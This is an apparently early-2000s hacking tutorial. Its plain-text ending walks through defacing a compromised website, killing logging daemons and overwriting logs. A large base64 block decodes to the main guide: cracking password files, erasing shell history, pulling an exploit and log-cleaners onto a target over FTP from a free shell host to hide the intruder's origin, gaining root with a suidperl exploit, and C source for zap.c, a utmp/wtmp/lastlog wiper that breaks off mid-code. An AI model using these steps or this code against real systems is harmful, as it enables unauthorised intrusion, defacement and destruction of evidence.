/etc/syslog.conf and /etc/login.defs to see how the system is logging. Ok.Now you may explore the system however you want.Don't do stupid things like deleting files or crashing the system, and be carefull. It is not advisable to change the site if the server you hacked does have one.However, if you want to do something like that here is an example... target#pico /usr/local/apache/htdocs/index.html The main file of the website can be edited now. Here is an example of a hacked index.html file... --------------------start_of_file---------------------- Site hacked by...Ulyss3s
Ulyss3s proudly presents...

hiz l8est hacking!

bash 2.04#whoami

root

bash 2.04#

/* Thiz tellz pretty much,huh?Yeah,security wasn't so gr8...

Greetingz to all my friendz- Luciffer, Moon|Lord, Slaughter, Amorphis, and otherz */
  --------------End_of_file------------------ Ctrl+x,save the changes and VOILA! You're done! Whenever someone types in his browser's adress/location: http://www.target.com the edited page will appear. ====================================================================== A few things to remember: /etc/services (the ports file) /etc/inetd.conf /etc/group -This is the group file. This allows the superuser to give certain accounts group access to groups other than their own Entries are in the format: group name:password:group number:users in this group /dev/console -This is the device file for the system console, or the system's main terminal. /usr/adm/sulog /usr/adm/loginlog or /usr/adm/acct/sum/loginlog /usr/mail/ /dev/null /usr/lib /usr/spool/cron. crontab in the directory /usr/lib contains entries for system tasks that must be performed on a periodic basis. The format for the entries in this file is: minute hour dayofmonth monthofyear dayofweek commandstring 1 * * * /bin/sync This runs sync command, which is kept in the directory bin, at 1 am every day. Commands in the file /usr/lib/crontab are performed with root privileges. /usr/spool/crontabs, you will find files named after system accounts. These files contain cron entries which are the same as those in the file /usr/lib/crontab, but are carried out under the id of the user the file is named after. The entries are in the same format. All cron activity is logged in the file /usr/adm/cronlog. A)killall -9 syslogd klogd B)copy secure.1 and messages.1 from /var/log over secure and messages C)uname -a, w, last -10, cat /etc/passwd /etc/inetd.conf D)pico inetd.conf(ports&daemons) /root/.profile ====================================================================== I think this was a nice .Hopefully you enjoyed it and will have your own sometime. Happy hacking! ====================================================================== Huge greetings and thanks to: Invisible Evil - Your hack kit inspired me a lot. The Mentor - Your contain the essence and the filosophy of hacking. My friends: Luciffer, Moon|Lord, LifeTime, etc. Finished: 08.XII.2000 Merry Xmas and a Happy New Year! ICAgICAgICAgICAgICAgICAgICAgICBcXFwgIkEgV0FMSyBJTiBUSEUgUEFSSyIgLy8vDQogICAg ICAgICAgICAgICAgICAgICAgICAgXFw9PT09PT09PT09PT09PT09PT09PS8vDQogICAgICAgICAg ICAgICAgICAgICAgICAgICBcV3JpdHRlbiBieTpVbHlzczNzLw0KICAgICAgICAgICAgICAgICAg ICAgICAgICAgID09PT09PT09PT09PT09PT09PQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIA0KDQoNCiBEaXNjbGFpbWVyOg0KDQogSSBkbyBub3QgZW5jb3VyYWdlIGFueSBraW5k IG9mIGlsbGVnYWwgYWN0aXZpdGllcyEgDQogVGhpcyB0ZXh0IGFuZFxvciBhbnl0aGluZyBpbiB0 aGlzIGRvY3VtZW50IHdhcyBtYWRlIGZvciBlZHVjYXRpb25hbCBwdXJwb3NlcyBvbmx5IQ0KIEkg YW0gbm90IHJlc3BvbnNhYmxlIGZvciBhbnl0aGluZyB0aGF0IGlzIGRvbmUgd2l0aCB0aGlzIGlu Zm9ybWF0aW9uIQ0KDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoNCiBJbiB0aGlzIG1hdGVyaWFsIHdlJ2xsIHNo YXBlIGEgc2NlbmFyaW8gYWJvdXQgYnJlYWtpbmcgaW50byBhIGNvbXB1dGVyIHN5c3RlbSBzb21l d2hlcmUgb24gdGhlIEludGVybmV0LkFueSBzaW1pbGFyaXR5IHRvIGEgY2VydGFpbiBzaXR1YXRp b24gaXMgcHVyZSBmaWN0aW9uLg0KDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoNCiBJbiBvcmRlciB0byBicmVh ayBhIHNlY3VyaXR5IHN5c3RlbSwgb25lIGhhcyB0byB1c2UgYSBjZXJ0YWluIGludHJ1c3Npb24g bWV0aG9kLiBVc3VhbGx5IHRoZSBhdGFja3MgYXJlIG5vdCB2ZXJ5ICJoaWdoLXRlY2giIGR1ZSB0 byB0aGUgZmFjdCB0aGF0IHRoZSBydWluZWQgc3lzdGVtcyBhcmUgbWlzLWNvbmZpZ3VyZWQgb3Ig dW5wYXRjaGVkLg0KIEhlcmUgaXMgYSBsaXN0IG9mIGNvbW1vbiBzeXN0ZW0gaW50cnVzaW9uIG1l dGhvZHM6DQoNCiMgRGVmYXVsdCBhY2NvdW50cy9OdWxsIHBhc3N3b3Jkcw0KIyBVc2VybmFtZS9Q YXNzd29yZCBzYW1lDQojIHJzaCBvciBwb29yIGF1dGhlbnRpY2F0aW9uIG1lY2hhbmlzbQ0KIyBy bG9naW4NCiMgQW5vbnltb3VzIEZUUCBtaXMtY29uZmlndXJlZA0KIyBGaW5nZXIgDQojIFdXVyBT ZXJ2ZXINCiMgU01UUA0KIyBTYW1iYQ0KIyBQYXNzd29yZCBTbmlmZmluZyAodGhlIG1vc3QgcG93 ZXJmdWwgb25lISkNCg0KIEhvd2V2ZXIgaWYgc29tZW9uZSBncmFicyB0aGUgcGFzc3dvcmQgZmls ZSBzdG9yZWQgb24gYSBzeXN0ZW0gaGlzIG1pc3Npb24gaXMgYXMgZWFzeSBhcyAxLCAyLCAzLi4u DQogQWxsIGhlL3NoZSBoYXMgdG8gZG8gaXMgdG8gcnVuIGEgcHJvZ3JhbSBsaWtlIENyYWNrZXJK YWNrIG9yIGJldHRlciwgSm9obiBUaGUgUmlwcGVyIGZvciB0aGlzIHBhc3N3b3JkIGZpbGUgYW5k IHRoZSByZXN0IGlzIHBpZWNlIG9mIGNha2UuSWYgdGhlIHBhc3N3b3JkcyBhcmVuJ3QgdG9vIGhh cmQgdG8gYmUgY3JhY2tlZCwgdGhlbiB0aGUgZGljdGlvbmFyeSB0aGUgdHdvIHByb2dyYW1zIG1l bnRpb25lZCBhYm92ZSBhcmUgZGlzdHJpYnV0ZWQgd2l0aCwgc2hvdWxkIGJlIGVub3VnaC4gT3Ro ZXJ3aXNlIHlvdSBtYXkgZmluZCB3b3JkIGxpc3RzIGZvciB0aGUgZGljdGlvbmFyeSBhdCBodHRw Oi8vd3d3LmhhY2tlcnNjbHViLmNvbQ0KIEEgY29tbW9uIHBhc3N3b3JkIGZpbGUgZnJvbSBhIHVu aXgvbGludXggT1MgbG9va3MgbGlrZSB0aGlzOg0KDQpyb290OlIwcm1jNmx4VndpNUk6MDowOnJv b3Q6L3Jvb3Q6L2Jpbi9iYXNoDQpiaW46KjoxOjE6YmluOi9iaW46DQpkYWVtb246KjoyOjI6ZGFl bW9uOi9zYmluOg0KYWRtOio6Mzo0OmFkbTovdmFyL2FkbToNCmxwOio6NDo3OmxwOi92YXIvc3Bv b2wvbHBkOg0Kc3luYzoqOjU6MDpzeW5jOi9zYmluOi9iaW4vc3luYw0Kc2h1dGRvd246Kjo2OjA6 c2h1dGRvd246L3NiaW46L3NiaW4vc2h1dGRvd24NCmhhbHQ6Kjo3OjA6aGFsdDovc2Jpbjovc2Jp bi9oYWx0DQptYWlsOio6ODoxMjptYWlsOi92YXIvc3Bvb2wvbWFpbDoNCm5ld3M6Kjo5OjEzOm5l d3M6L3Vzci9saWIvbmV3czoNCnV1Y3A6KjoxMDoxNDp1dWNwOi92YXIvc3Bvb2wvdXVjcHB1Ymxp YzoNCm9wZXJhdG9yOio6MTE6MDpvcGVyYXRvcjovcm9vdDovYmluL2Jhc2gNCmdhbWVzOio6MTI6 MTAwOmdhbWVzOi91c3IvZ2FtZXM6DQptYW46KjoxMzoxNTptYW46L3Vzci9tYW46DQpwb3N0bWFz dGVyOio6MTQ6MTI6cG9zdG1hc3RlcjovdmFyL3Nwb29sL21haWw6L2Jpbi9iYXNoDQpub2JvZHk6 KjotMjoxMDA6bm9ib2R5Oi9kZXYvbnVsbDoNCmZ0cDoqOjQwNDoxOjovaG9tZS9mdHA6L2Jpbi9i YXNoDQpndWVzdDoqOjQwNToxMDA6Z3Vlc3Q6L2Rldi9udWxsOi9kZXYvbnVsbA0KYmhpbHRvbjpM a2pMaVd5MDh4SVdZOjUwMToxMDA6Qm9iIEhpbHRvbjovaG9tZS9iaGlsdG9uOi9iaW4vYmFzaA0K d2ViOktuMGQ0SEpQZlJTb006NTAyOjEwMDpXZWIgTWFzdGVyOi9ob21lL3dlYjovYmluL2Jhc2gN Cm1hcnk6RWF1RExBL1BUL0hRZzo1MDM6MTAwOk1hcnkgQy4gSGlsdG9uOi9ob21lL21hcnk6L2Jp bi9iYXNoDQoNCldoYXQncyB0aGF0IGFsbCBhYm91dD9JbiBjYXNlIHlvdSBkaWRuJ3Qga25vdyBo ZXJlIGlzIHRoZSBleHBsYWluYXRpb246DQoNCm1hcnk6RWF1RExBL1BUL0hRZzo1MDM6MTAwOk1h cnkgQy4gSGlsdG9uOi9ob21lL21hcnk6L2Jpbi9iYXNoDQoxICAgOjIgICAgICAgICAgICA6MyAg OjQgIDo1ICAgICAgICAgICAgIDo2ICAgICAgICAgOjcNCg0KMT11c2VybmFtZSAyPWVuY3J5cHRl ZCBwYXNzd29yZCAzPXVzZXIgbnVtYmVyIDQ9Z3Jvb3AgaWQgNT1yZWFsIG5hbWUNCjY9aG9tZSBk aXJlY3RvcnkgNz1zaGVsbA0KDQogQSBoYWNrZXIgd2lsbCBhbHdheXMgd2FudCB0byBvYnRhaW4g dGhlIFJPT1Qgc2hlbGwuVGhpcyBtZWFucyBoYXZpbmcgbWFzdGVyIHByaXZpbGVkZ2VzIG92ZXIg dGhhdCBwYXJ0aWN1bGFyIHN5c3RlbS4NCiBOb3dhZGF5cyBwYXNzd2QgZmlsZXMgYXJlbid0IGVu b3VnaCBmb3IgaGFja2Vycy5UaGUgcGFzc3dvcmRzIGFyZSBzaGFkb3dlZCBhbmQgdGhlIGVuY3Jp cHRlZCBvbmVzIGFyZSBzdG9yZWQgaW4gYW5vdGhlciBmaWxlIGNhbGxlZCB0aGUgU2hhZG93IGZp bGUuIEl0IGlzIHN0b3JlZCBpbiAvZXRjL3NoYWRvdyBvbiB1bml4IHN5c3RlbXMuDQogU28sIGFm dGVyIHlvdSA8Y3JhY2tlZD4gdGhlIHBhc3N3b3JkIGZpbGUgeW91IHNob3VsZCBoYXZlIGF0IGxl YXN0IG9uZSBhY2NvdW50IG9uIHRoZSB0YXJnZXQgc3lzdGVtLiBUaGlzIHNob3VsZCBiZSBlbm91 Z2ggaW4gb3JkZXIgdG8gaGFjayBmb3IgcmVhbCB0aGUgZW50aXJlIHN5c3RlbS4gQSBoYWNrZXIn cyBsaWZlIGlzIGVhc3kgdGhhbmtzIHRvIHRoZSBtYW55IGV4cGxvaXRzIGZvdW5kIGJ5IGRlZGlj YXRlZCBwcm9ncmFtbWVycy5FeHBsb2l0cyBhcmUgcHJvZ3JhbXMgd3JpdHRlbiB1c3VhbGx5IGlu IEMgb3IgU2ggKCBTaGVsbCBwcm9ncmFtbWluZykgdGhhdCA8ZXhwbG9pdD4gYnVncyBpbiB0aGUg c2VjdXJpdHkuIEEgZ29vZCBhZHZpY2UgaXMgdGhhdCBleHBsb2l0cyBzaG91bGQgYmUgdXNlZCBP TkxZIHRvIGdldCB0aGUgcm9vdCBhY2NvdW50cywgb3RoZXJ3aXNlIHNtYXJ0IGFkbWluaXN0cmF0 b3JzIG1heSBub3RpY2UgeW91ciBwcmVzZW5jZS4gVGhlcmUgYXJlIGFsbCBraW5kIG9mIGJ1Z3Mg aW4gYWxsIHN5c3RlbXM6IGl0IG1pZ2h0IGJlIGEgZ2FtZSBpbnN0YWxsZWQgb24gdGhlIHN5c3Rl bSwgb3IgZXZlbiB0aGUgc2VuZG1haWwgcHJvZ3JhbS4NCiBTbyB0aGUgb25seSB0aGluZyB5b3Ug c2hvdWxkIGhhdmUgaXMgb25lIGFjY291bnQgb24gYSBtYWNoaW5lIGFuZCB5b3UgY2FuIGJldCBz b29uZXIgb3IgbGF0ZXIgdGhhdCBtYWNoaW5lIHdpbGwgYmUgY29tcHJvbWlzZWQuDQogRXhwbG9p dHMgYXJlIGNvbXBpbGVkIGFuZCB0aGVuIGV4ZWN1dGVkLg0KIFRoZSBjb21waWxpbmcgY29tbWFu ZCBpczoNCiQgY2MgLW8gcHJvZ3JhbSBwcm9ncmFtLmMNCm9yIA0KJGdjYyBwcm9ncmFtLmMgLW8g cHJvZ3JhbQ0KIFRoZSBleGVjdXRpbmcgY29tbWFuZCBpcyANCiRwcm9ncmFtDQpvciBiZXR0ZXIN CiQgLi9wcm9ncmFtDQpGb3IgYSBTaGVsbCBwcm9ncmFtIHRoZSBleGVjdXRpb24gY29tbWFuZCBp cw0KJCBzaCBwcm9ncmFtLnNoDQogSW4gdGhlIGZvbGxvd2luZyBzZXNzaW9uIGV4YW1wbGUgSSBz dXBwb3NlIHRoYXQgeW91IGhhdmUgZ290IHNvbWVob3cgYW4gYWNjb3VudCBvbiBhIHNlcnZlci4N CiBGb3IgbG9naW4geW91IHNob3VsZCB1c2UgZWl0aGVyIGEgU1NIIGNsaW5ldCAoU2VjdXJlIFNo ZWxsIHRoYXQgc2VuZHMgdGhlIGluZm9ybWF0aW9uIGVuY3JpcHRlZCkgb3IgVGVsbmV0LldlJ2xs IHVzZSB0ZWxuZXQuDQogVGVsbmV0IGlzIGEgY29tbWFuZCB0aGF0IHlvdSBjYW4gdXNlIGZyb20g YSBzaGVsbCBhY2NvdW50LCBvciBmcm9tIGFuIGV4ZSBmaWxlICh0ZWxuZXQuZXhlKSBmcm9tIFdp bmRvd3MsIE9TLzIsIFdpbmRvd3MgOTUgYW5kIG90aGVyIG9wZXJhdGluZyBzeXN0ZW1zIHRoYXQg d2lsbCBsZXQgeW91IGNvbm5lY3QgdG8gYW5vdGhlciBtYWNoaW5lIG9uIHRoZSBuZXQuDQogWW91 IGNhbiB1c2UgdGVsbmV0IGlmIHlvdSBrbm93IHRoZSBJUCBhZGRyZXNzIG9yIHRoZSBob3N0IG5h bWUgeW91IHdhbnQgdG8gY29ubmVjdCBvciBsb2dpbiB0by4gICAgDQogSXQgbG9va3MgbGlrZSB0 aGlzOg0KDQpUZWxuZXQgdGFyZ2V0LmNvbSAgb3IgIHRlbG5ldCAyMDYuMTQ2LjQzLjU2DQpUcnlp bmcgLi4uLi4NCg0KQ29ubmVjdGVkIHRvIHRhcmdldC5jb20NClJlZCBIYXQgMi4xDQpLZXJuZWwg MS4yLjEzIG9uIGEgaTU4Ng0KKHRhcmdldC5jb20pICh0dHlwMCkNCg0KbG9naW46dXNlcm5hbWUN CnBhc3N3b3JkOioqKioqKioNCg0KYmFzaCQNClRoZSBsYXN0IHRoaW5nIGlzIHlvdXIgcHJvbXB0 LiBJdCBtYXkgbG9vayBkaWZmZXJlbnQgYnV0IHVzdWFsbHkgaXQncyB0aGUgc2FtZSB0aGluZy4g SG93ZXZlciBpZiB5b3UgaGF2ZSBhICMgcHJvbXB0IHRoZW4sIGd1ZXNzIHdoYXQuLi55b3UgbWF5 IGZvcmdldCBhYm91dCBoYWNraW5nIGJlY2F1c2UgeW91IGFyZSBST09ULg0KIEZpcnN0IHdlIG1h a2Ugc3VyZSB3ZSBsZWF2ZSBubyB0cmFjZXMgaW4gdGhlIHNoZWxsLCB1bnNldHRpbmcgdGhlIC5i YXNoX2hpc3RvcnkgZmlsZQ0KDQpiYXNoJCB1bnNldCBISVNURklMRQ0KYmFzaCQNCg0KT2ssIHRo YXQncyBkb25lLk5leHQgd2UnbGwgc2VlIHdoYXQga2luZCBvZiBPUyBpcyBpbnN0YWxsZWQgb24g dGhlIHN5c3RlbS5JbiBvdXIgY2FzZSB0aGVyZSBpcyBubyBuZWVkIHRvIGRvIHRoYXQgYmVjYXVz ZSBhdCB0aGUgbG9naW4gcHJvbXB0IHdlIG5vdGljZSBSZWRIYXQgMi4xIFRoYXQgaXMgYmVhdXRp ZnVsbCBiZWNhdXNlIExpbnV4IGlzIGFsbW9zdCA5OSUgdnVsbmVyYWJsZS5Ib3dldmVyIGlmIHRo ZXJlIGlzIG5vIGNsdWUgdG8gdGhlIE9TIGF0IHRoZSBsb2dpbiBwcm9tcHQgdGhlbiBhZnRlciBs b2dpbiB3ZSB0eXBlOg0KDQpiYXNoJCB1bmFtZSAtYQ0KVGhpcyBzaG91bGQgc2hvdyB1cyB0aGUg T1MuIE5vdyB0aGF0IHlvdSBmb3VuZCBvdXQgdGhlIE9TIHJ1bm5pbmcgb24gdGhlIHNlcnZlciwg c2VhcmNoIGZvciB0aGUgcmlnaHQgZXhwbG9pdCBhdCB0aGUgZm9sbG93aW5nIFVSTCdzOg0KaHR0 cDovL2hhY2suY28uemENCmh0dHA6Ly93d3cucm9vdHNoZWxsLmNvbQ0KaHR0cDovL3d3dy5wYWNr ZXRzdG9ybS5zZWN1cmlmeS5jb20NCllvdSBzaG91bGQgZmluZCB0aGUgbGF0ZXN0IGV4cGxvaXRz IGF2YWlsYWJsZSBmb3IgYW55IGtpbmQgb2YgT1MuDQpEb3dubG9hZCB0aGUgZXhwbG9pdCwgdHJh bnNmZXIgaXQgdmlhIEZUUCB0byBhIGZyZWUgc2hlbGwoZS5nLiBhdCBuZXRoZXIubmV0IG9yIGhv YmJpdG9uLm9yZykgYmVjYXVzZSBpZiB5b3VyIHByZXNlbmNlIHdpbGwgYmUgbm90aWNlZCBzb21l aG93IHRoZSBvbmx5IHRyYWNlcyB0aGF0IHdpbGwgYXBwZWFyIGFyZSBmcm9tIHRoZSBmcmVlIHNo ZWxsIG5vdCBmcm9tIHlvdXIgcmVhbCBob3N0LkFsc28gZmluZCBwcm9ncmFtcyBsaWtlIFphcCBh bmQgVXRtcG1hbiB3aGljaCBoZWxwIHlvdSBjbGVhbmluZyB5b3VyIHRyYWNrcy5UaGVuIGZyb20g dGhlIGFjY291bnQgb24gdGhlIHRhcmdldC5jb20gbWFjaGluZSBkbyB0aGUgZm9sbG93aW5nOg0K DQpiYXNoJCBmdHANCmZ0cD5vcGVuIG5ldGhlci5uZXQob3IgaG9iYml0b24ub3JnKQ0KQ29ubmVj dGVkIHRvIG5ldGhlci5uZXQNCldlbGNvbWUgdG8gbmV0aGVyLm5ldCENCkxvZ2luOnVzZXJuYW1l DQpQYXNzd29yZDoqKioqKioNClVzZXIgWCBsb2dnZWQgaW4uDQpYPm1nZXQgZXhwbG9pdC5jIChv ciBleHBsb2l0LnNoKSB6YXAuYyB1dG1wbWFuLnBsDQoyMzAgY29tbWFuZCBzdWNjZXNzZnVsDQpz b21lIHRleHQgaGVyZQ0KVHJhbnNmZXIgY29tcGxldGUuDQpYPmNsb3NlDQpHb29kYnllLg0KZnRw PmJ5ZQ0KYmFzaCQNCk5vdyB5b3UgaGF2ZSB0cmFuc2ZlcmVkIHRoZSBleHBsb2l0IG9uIHRhcmdl dC5jb20gbWFjaGluZS5MZXQncyBzZWUuLi4NCmJhc2gkIGxzIC1hbA0KdG90YWwgNzk0DQpkcnd4 cnd4cnd0ICAgNCByb290ICAgICByb290ICAgICAgICAgODE5MiBKYW4gMjUgMjM6MDUgLg0KZHJ3 eHIteHIteCAgMjIgcm9vdCAgICAgcm9vdCAgICAgICAgIDEwMjQgRGVjIDI4IDE4OjA3IC4uDQot cnctci0tci0tICAgMSBiZXJyeSAgICB1c2VycyAgICAgICAgICAgNiBKYW4gMjUgMjM6MDUgLnBp bmV0ZW1wLjAwMA0KLXJ3eHIteHIteCAgIDIgYmVycnkgICAgdXNlcnMgICAgICAgIDEwMjQgSmFu IDI1IDIzOjA1IGV4cGxvaXQuYyhvciBzaCkNCi1yd3hyLXhyLXggICAyIGJlcnJ5ICAgIHVzZXJz ICAgICAgICAxMDI0IEphbiAyNSAyMzowNSB6YXAuYw0KLXJ3eHIteHIteCAgIDIgYmVycnkgICAg dXNlcnMgICAgICAgIDEwMjQgSmFuIDI1IDIzOjA2IHV0bXBtYW4ucGwNCi1yd3gtLS0tLS0gICAx IHdvb2QgICAgIHVzZXJzICAgICAgICAgICAxIEphbiAyNSAxODoyOCAxOTA2N2hhYQ0KLXJ3LXIt LXItLSAgIDEgYmVycnkgICAgbWFpbCAgICAgICAgICAgIDEgSmFuIDE2IDEyOjM4IGZpbHRlci4x NDQyOA0KLXJ3LS0tLS0tLSAgIDEgcmhleTE5ICAgcm9vdCAgICAgICAzOTU0NDcgSmFuIDI0IDAy OjU5IHBvcDNhMTM1OTgNCi1ydy0tLS0tLS0gICAxIHJoZXkxOSAgIHJvb3QgICAgICAgMzk1NDQ3 IEphbiAyNCAwMzowMCBwb3AzYTEzNjAwDQpkcnd4ci14ci14ICAgNCByb290ICAgICByb290ICAg ICAgICAgMTAyNCBKYW4gMTIgMTM6MTggc2NyZWVucw0KDQpPaywgZXhwbG9pdC5jIGlzIHRoZXJl LkxldCdzIGNvbXBpbGUgaXQuDQoNCmJhc2gkIGdjYyBleHBsb2l0LmMgLW8gZXhwbG9pdA0KVGhp cyB3b3VsZCBnaXZlIG1lIGEgZmlsZSB0aGF0IHdvdWxkIGV4ZSwgY2FsbGVkIGV4cGxvaXQuDQpO b3csIGZpbmFsbHkgc29tZSByZWFsIGFjdGlvbjogaGFja2luZyB0aGUgcm9vdCBhY2NvdW50Lg0K DQpiYXNoJCAuL2V4cGxvaXQNCm9yDQpiYXNoJCBzaCBleHBsb2l0LnNoDQpTdWlkcGVybCA1LjAw NTAzIChhbmQgbmV3ZXIpIHJvb3QgZXhwbG9pdA0Kd3JpdHRlbiBieTphdXRob3INCkNoZWNrcyBw YXNzZWQsIGNvbXBpbGluZyBmbGFyZXMgYW5kIGhlbHBlciBhcHBsaWNhdGlvbnMuLi4NClNldHRp bmcgdXAgZW52aXJvbm1lbnQuLi4NClN0YXJ0aW5nIGV4cGxvaXQuIEl0IGNvdWxkIHRha2UgdXAg dG8gNSBtaW51dGVzIGluIG9yZGVyIHRvIGdldA0Kd29ya2luZyByb290IHNoZWxsLiBXQVJOSU5H IC0gV0FSTklORyAtIFdBUk5JTkc6IGl0IGNvdWxkIGNhdXNlDQpoZWF2eSBzeXN0ZW0gbG9hZC4N ClZPSUxBLCBCQUJFIDotKSBFbnRlcmluZyByb290c2hlbGwuLi4NCihXaGF0ZXZlci4uLnRoaXMg dGV4dCBjb3VsZCBiZSBhbnl0aGluZyApDQpUaGUgcHJvbXB0IHNob3VsZCBub3cgbG9vayBsaWtl IHRoZSBmb2xsb3dpbmc6DQoNCnRhcmdldCMNCkxldCdzIHNlZSB3aGF0IGRvZXMgdGhpcyBtZWFu Li4uDQp0YXJnZXQjIHdob2FtaQ0Kcm9vdA0KWW91IGFyZSByb290IGluZGVlZC5UaGF0IHdhcyBl YXN5LCBiZWxpZXZlIG1lLlRoZSBoYXJkIHBhcnQganVzdCBzdGFydHM6Y2xlYW5pbmcgeW91ciB0 cmFja3MuVGhlIHdob2xlIHBvaW50IG9mIHRoaXMgaGFja2luZyBzdHVmZiBpcyB0aGF0IHlvdSBj b250aW51ZSB0byBoYXZlIGFjY2VzcyB0byBhcyBtYW55IHBvaW50cyBvZiBpbmZvcm1hdGlvbiBh cyBwb3NzaWJsZS4gIElmIHlvdSBkbyBzdHVwaWQgdGhpbmdzLCBvciBmYWlsIGp1c3Qgb25jZSB0 byBjbGVhbiB5b3VyIHV0bXAgb3Igd3RtcCwgeGZlcmxvZydzLCBldGMgLi4uIHlvdSBjYW4gbG9v c2UgYWNjZXNzIHRvIHRoZQ0Kc3lzdGVtLiAgTWFrZSB5b3Vyc2VsZiBhIHJlZ3VsYXIgb3JkZXIg dG8gZm9sbG93IGFuZCBsZWFybiBlYWNoIHN5c3RlbSB3ZWxsIQ0KTGV0J3Mgc2VlIHdobyBpcyBs b2dnZWQgb24gdGhlIHN5c3RlbQ0KdGFyZ2V0I3cNCjU6MzZhbSAgdXAgMTggZGF5cywgIDg6MjMs ICAxIHVzZXIsICBsb2FkIGF2ZXJhZ2U6IDAuMDEsIDAuMDAsIDAuMDANClVzZXIgICAgIHR0eSAg ICAgICBsb2dpbkAgIGlkbGUgICBKQ1BVICAgUENQVSAgd2hhdA0Kcm9vdCAgICAgdHR5cDEgICAg IDU6MzVhbSAgICAgICAgICAgICAgICAgICAgICB3DQoNCldlbGwsIGl0IHNlZW1zIHdlIGhhdmUg dG8gbWFrZSBvdXJzZWx2ZXMgaW52aXNpYmxlLi4uDQp0YXJnZXQjIGdjYyB6YXAuYyAtbyB6YXAN CnRhcmdldCMgemFwIHlvdXJfdXNlcm5hbWVfaGVyZQ0KWmFwIQ0KdGFyZ2V0I3cNCjU6MzdhbSAg dXAgMTggZGF5cywgIDg6MjQsICAwIHVzZXJzLCAgbG9hZCBhdmVyYWdlOiAwLjA4LCAwLjAyLCAw LjAxDQpVc2VyICAgICB0dHkgICAgICAgbG9naW5AICBpZGxlICAgSkNQVSAgIFBDUFUgIHdoYXQN Cg0KQ2FuIHlvdSBzZWUgdGhlIHJvb3QgbG9naW4gbm93PyBZb3UgYmV0IHlvdSBjYW4ndCENCkhl cmUgaXMgdGhlIHNvdXJjZS1jb2RlIGZvciB6YXAuYw0KDQp6Mi5jDQotLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0gY3V0IGhlcmUNCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxz dGRpby5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN5cy9maWxlLmg+DQojaW5j bHVkZSA8ZmNudGwuaD4NCiNpbmNsdWRlIDx1dG1wLmg+DQojaW5jbHVkZSA8cHdkLmg+DQojaW5j bHVkZSA8bGFzdGxvZy5oPg0KI2RlZmluZSBXVE1QX05BTUUgIi91c3IvYWRtL3d0bXAiDQojZGVm aW5lIFVUTVBfTkFNRSAiL2V0Yy91dG1wIg0KI2RlZmluZSBMQVNUTE9HX05BTUUgIi91c3IvYWRt L2xhc3Rsb2ciDQogDQppbnQgZjsNCiANCnZvaWQga2lsbF91dG1wKHdobykNCmNoYXIgKndobzsN CnsNCiAgICBzdHJ1Y3QgdXRtcCB1dG1wX2VudDsNCiANCiAgaWYgKChmPW9wZW4oVVRNUF9OQU1F LE9fUkRXUikpPj0wKSB7DQogICAgIHdoaWxlKHJlYWQgKGYsICZ1dG1wX2VudCwgc2l6ZW9mICh1 dG1wX2VudCkpPiAwICkNCiAgICAgICBpZiAoIXN0cm5jbXAodXRtcF9lbnQudXRfbmFtZSx3aG8s c3RybGVuKHdobykpKSB7DQogICAgICAgICAgICAgICAgIGJ6ZXJvKChjaGFyICopJnV0bXBfZW50 LHNpemVvZiggdXRtcF9lbnQgKSk7DQogICAgICAgICAgICAgICAgIGxzZWVrIChmLCAtKHNpemVv ZiAodXRtcF9lbnQpKSwgU0VFS19DVVIpOw0KICAgICAgICAgICAgICAgICB3cml0ZSAoZiwgJnV0 bXBfZW50LCBzaXplb2YgKHV0bXBfZW50KSk7DQogICAgICAgICAgICB9DQogICAgIGNsb3NlKGYp Ow0KICB9DQp9DQogDQp2b2lkIGtpbGxfd3RtcCh3aG8pDQpjaGFyICp3aG87DQp7DQogICAgc3Ry dWN0IHV0bXAgdXRtcF9lbnQ7DQogICAgbG9uZyBwb3M7DQogDQogICAgcG9zID0gMUw7DQogICAg aWYgKChmPW9wZW4oV1RNUF9OQU1FLE9fUkRXUikpPj0wKSB7DQogDQogICAgIHdoaWxlKHBvcyAh PSAtMUwpIHsNCiAgICAgICAgbHNlZWsoZiwtKGxvbmcpKCAoc2l6ZW9mKHN0cnVjdCB1dG1wKSkg KiBwb3MpLExfWFRORCk7DQogICAgICAgIGlmIChyZWFkIChmLCAmdXRtcF9lbnQsIHNpemVvZiAo c3RydWN0IHV0bXApKTwwKSB7DQogICAgICAgICAgcG9zID0gLTFMOw0KICAgICAgICB9IGVsc2Ug ew0KICAgICAgICAgIGlmICghc3RybmNtcCh1dG1wX2VudC51dF9uYW1lLHdobyxzdHJsZW4od2hv KSkpIHsNCiAgICAgICAgICAgICAgIGJ6ZXJvKChjaGFyICopJnV0bXBfZW50LHNpemVvZihzdHJ1 Y3QgdXRtcCApKTsNCiAgICAgICAgICAgICAgIGxzZWVrKGYsLSggKHNpemVvZihzdHJ1Y3QgdXRt cCkpICogcG9zKSxMX1hUTkQpOw0KICAgICAgICAgICAgICAgd3JpdGUgKGYsICZ1dG1wX2VudCwg c2l6ZW9mICh1dG1wX2VudCkpOw0KICAgICAgICAgICAgICAgcG9zID0gLTFMOw0KICAgICAgICAg IH0gZWxzZSBwb3MgKz0gMUw7DQogICAgICAgIH0NCiAgICAgfQ0KICAgICBjbG9zZShmKTsNCiAg fQ0KfQ0KIA0Kdm9pZCBraWxsX2xhc3Rsb2cod2hvKQ0KY2hhciAqd2hvOw0Kew0KICAgIHN0cnVj dCBwYXNzd2QgKnB3ZDsNCiAgICBzdHJ1Y3QgbGFzdGxvZyBuZXdsbDsNCiANCiAgICAgaWYgKChw d2Q9Z2V0cHduYW0od2hvKSkhPU5VTEwpIHsNCiANCiAgICAgICAgaWYgKChmPW9wZW4oTEFTVExP R19OQU1FLCBPX1JEV1IpKSA+PSAwKSB7DQogICAgICAgICAgICBsc2VlayhmLCAobG9uZylwd2Qt PnB3X3VpZCAqIHNpemVvZiAoc3RydWN0IGxhc3Rsb2cpLCAwKTsNCiAgICAgICAgICAgIGJ6ZXJv KChjaGFyICopJm5ld2xsLHNpemVvZiggbmV3bGwgKSk7DQogICAgICAgICAgICB3cml0ZShmLCAo Y2hhciAqKSZuZXdsbCwgc2l6ZW9mKCBuZXdsbCApKTsNCiAgICAgICAgICAgIGNsb3NlKGYpOw0K 